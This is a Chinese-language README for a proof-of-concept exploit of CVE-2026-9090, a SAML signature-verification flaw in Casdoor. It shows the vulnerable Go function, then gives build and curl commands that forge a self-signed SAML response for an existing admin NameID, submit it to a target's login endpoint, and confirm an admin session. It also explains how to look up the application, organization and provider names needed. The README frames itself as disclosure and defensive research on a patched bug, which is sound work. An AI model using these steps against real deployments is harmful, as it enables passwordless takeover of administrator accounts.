CVE-2026-9090(CWE-347,加密签名验证不当)的概念验证,即 Casdoor 身份平台中的一个身份验证绕过漏洞。
归属说明。 CVE-2026-9090 由 CERT/CC 发布并协调披露——参见 VU#780781。本仓库是针对这一已公开漏洞的独立、仅用于复现的概念验证,并不声称发现该漏洞。
当 Casdoor 在 POST /api/acs 处消费 SAML 响应(通过外部 SAML 提供方登录)时,buildSpCertificateStore 函数会从传入的 SAML 响应本身内嵌的 <X509Certificate> 构建签名信任锚,而非使用为身份提供方注册的证书。
// object/saml_sp.go (vulnerable, <= v2.362.0)
func buildSpCertificateStore(provider *Provider, samlResponse string) (certStore ..., err error) {
certEncodedData := ""
if samlResponse != "" {
certEncodedData, err = getCertificateFromSamlResponse(samlResponse, provider.Type) // <-- cert from the response
} else if provider.IdP != "" {
certEncodedData = provider.IdP
}
...
certStore = dsig.MemoryX509CertificateStore{ Roots: []*x509.Certificate{idpCert} }
}
由于信任锚取自响应本身,攻击者可以用自己的自签名证书为 SAML 断言签名,并将该证书一并嵌入响应,签名即可自证有效。将 NameID 设置为现有用户即可解析到该账户——若该用户是管理员,攻击者将获得管理员会话。整个过程无需密码。
<= 2.362.0provider.IdP 构建证书库(buildSpCertificateStore(provider *Provider) 不再读取响应)。请升级到当前版本。forge_saml.go 会构建一个完整的 SAML Response,其 Assertion 使用一次性自签名密钥签名,并将该密钥的证书嵌入 <ds:KeyInfo><ds:X509Certificate>。它使用与 Casdoor 相同的 goxmldsig 库,因此规范化与签名格式可被原样接受。
go mod init cve-2026-9090-poc # or: go build directly in this repo
go get github.com/beevik/etree github.com/russellhaering/goxmldsig
go build -o forge_saml forge_saml.go
# 1) forge a response for an existing (admin) NameID, aimed at the target's ACS URL
./forge_saml \
--nameid [email protected] \
--acs http://TARGET:8000/api/acs \
--audience http://TARGET:8000/api/acs \
> forged.b64
# 2) submit it. NOTE: Casdoor url-unescapes SAMLResponse before base64-decoding, so the value MUST be
# url-encoded (a raw '+' would be turned into a space -> "illegal base64 data").
ENC=$(python3 -c 'import urllib.parse;print(urllib.parse.quote(open("forged.b64").read().strip()))')
curl -s -c cookie.txt \
"http://TARGET:8000/api/login?application=APP&organization=ORG&provider=SAML_PROVIDER&method=signup" \
-H 'Content-Type: application/json' \
-d "{\"application\":\"APP\",\"organization\":\"ORG\",\"provider\":\"SAML_PROVIDER\",\"method\":\"signup\",\"type\":\"login\",\"samlResponse\":\"$ENC\"}"
# -> {"status":"ok","data":"ORG/admin"}
# 3) confirm the session
curl -s -b cookie.txt http://TARGET:8000/api/get-account | jq '.data | {name,isAdmin,owner}'
APP、ORG 与 SAML_PROVIDER 分别指应用程序名称、组织以及绑定到该应用程序的 SAML 提供方。Casdoor 应用程序的注册信息(包括其绑定的提供方)可通过 /api/get-application?id=admin/<name> 读取。
本 PoC 针对一个已修复且已公开披露的漏洞发布,用于防御性测试、检测工程与研究。请仅对你有权测试的系统运行。正确的修复措施是升级 Casdoor,使 buildSpCertificateStore 仅针对已注册的提供方证书进行验证。
MIT — 参见 LICENSE。